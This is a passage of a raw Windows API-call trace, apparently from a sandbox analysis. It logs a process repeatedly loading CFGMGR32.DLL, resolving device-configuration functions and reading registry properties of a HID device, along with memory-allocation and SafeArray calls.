0x7ffa786ccd50 [0225.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.107] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.107] malloc (_Size=0x18) returned 0x196ef0d1ea0 [0225.107] CM_Get_Device_IDA (in: dnDevInst=0x26, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="HID\\VID_0A81&PID_0203\\6&7C90793&0&0000") returned 0x0 [0225.107] malloc (_Size=0x48) returned 0x196ef0fb5e0 [0225.107] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x67073982, dwHighDateTime=0x1d9eb0c)) [0225.108] SetEvent (hEvent=0x248) returned 1 [0225.111] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.111] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.111] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.112] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.113] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.114] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.161] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.162] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.162] malloc (_Size=0x18) returned 0x196ef0d1ae0 [0225.163] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0225.163] malloc (_Size=0x11e) returned 0x196ef0d67b0 [0225.163] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d67b0, pulLength=0x67117d608) returned 0x0 [0225.164] free (_Block=0x196ef0d67b0) [0225.164] malloc (_Size=0x48) returned 0x196ef0fb220 [0225.164] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6710a74a, dwHighDateTime=0x1d9eb0c)) [0225.165] SetEvent (hEvent=0x248) returned 1 [0225.167] malloc (_Size=0x18) returned 0x196ef0d1c60 [0225.168] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bbb58) returned 0x0 [0225.168] free (_Block=0x196ef0d1c60) [0225.168] malloc (_Size=0x18) returned 0x196ef0d1ec0 [0225.168] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0225.168] free (_Block=0x196ef0d1ec0) [0225.168] malloc (_Size=0x18) returned 0x196ef0d1b20 [0225.168] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0225.168] free (_Block=0x196ef0d1b20) [0225.168] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0225.168] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0225.168] free (_Block=0x196ef0d1ee0) [0225.168] malloc (_Size=0x18) returned 0x196ef0d1de0 [0225.168] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0225.169] free (_Block=0x196ef0d1de0) [0225.169] malloc (_Size=0x18) returned 0x196ef0d20c0 [0225.169] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee776258) returned 0x0 [0225.169] free (_Block=0x196ef0d20c0) [0225.169] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856960 [0225.169] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0225.169] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0225.169] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0225.169] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa8f0 [0225.169] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0225.169] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0225.169] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0225.169] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0225.170] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2660, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.170] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2668, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.170] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2670, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.170] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2678, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.171] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2680, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.171] memcpy (in: _Dst=0x67117d268, _Src=0x196ef1f2688, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0225.172] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa8f0) returned 1 [0225.172] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856960) returned 1 [0225.173] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.173] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.173] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.174] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.175] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.176] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.176] malloc (_Size=0x18) returned 0x196ef0d20c0 [0225.177] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0225.177] malloc (_Size=0x4) returned 0x196ef0d6c50 [0225.177] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef0d6c50, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0d6c50, pulLength=0x67117d608) returned 0x0 [0225.177] free (_Block=0x196ef0d6c50) [0225.177] malloc (_Size=0x48) returned 0x196ef0fba40 [0225.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x6710a74a, dwHighDateTime=0x1d9eb0c)) [0225.177] SetEvent (hEvent=0x248) returned 1 [0225.181] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.181] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.181] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.182] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.183] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.184] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.185] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.185] malloc (_Size=0x18) returned 0x196ef0d20e0 [0225.185] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0xc, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.189] malloc (_Size=0x48) returned 0x196ef0fb770 [0225.189] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x671371a1, dwHighDateTime=0x1d9eb0c)) [0225.190] SetEvent (hEvent=0x248) returned 1 [0225.193] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.193] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.194] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.195] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.196] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.197] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.197] malloc (_Size=0x18) returned 0x196ef0d1ee0 [0225.197] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x9, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.197] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0225.197] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67156b9b, dwHighDateTime=0x1d9eb0c)) [0225.198] SetEvent (hEvent=0x248) returned 1 [0225.202] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.202] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.202] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.203] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.204] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.205] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.205] malloc (_Size=0x18) returned 0x196ef0d1c60 [0225.205] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x8, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.206] malloc (_Size=0x48) returned 0x196ef0fb3b0 [0225.206] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x67156b9b, dwHighDateTime=0x1d9eb0c)) [0225.206] SetEvent (hEvent=0x248) returned 1 [0225.259] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.259] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.259] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.260] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.261] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.262] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.262] malloc (_Size=0x18) returned 0x196ef0d1ba0 [0225.263] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0x26, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0225.263] malloc (_Size=0x48) returned 0x196ef0fb540 [0225.263] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x671ef5af, dwHighDateTime=0x1d9eb0c)) [0225.264] SetEvent (hEvent=0x248) returned 1 [0225.269] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0225.269] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0225.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0225.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0225.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0225.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0225.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0225.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0225.270] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0225.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0225.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0225.271] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0225.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0225.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0225.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0225.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0225.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0225.272] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0225.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0225.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0225.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0225.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0225.273] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0225.273] malloc (_Size=0x18) returned 0x196ef0d1b40 [0225.274] 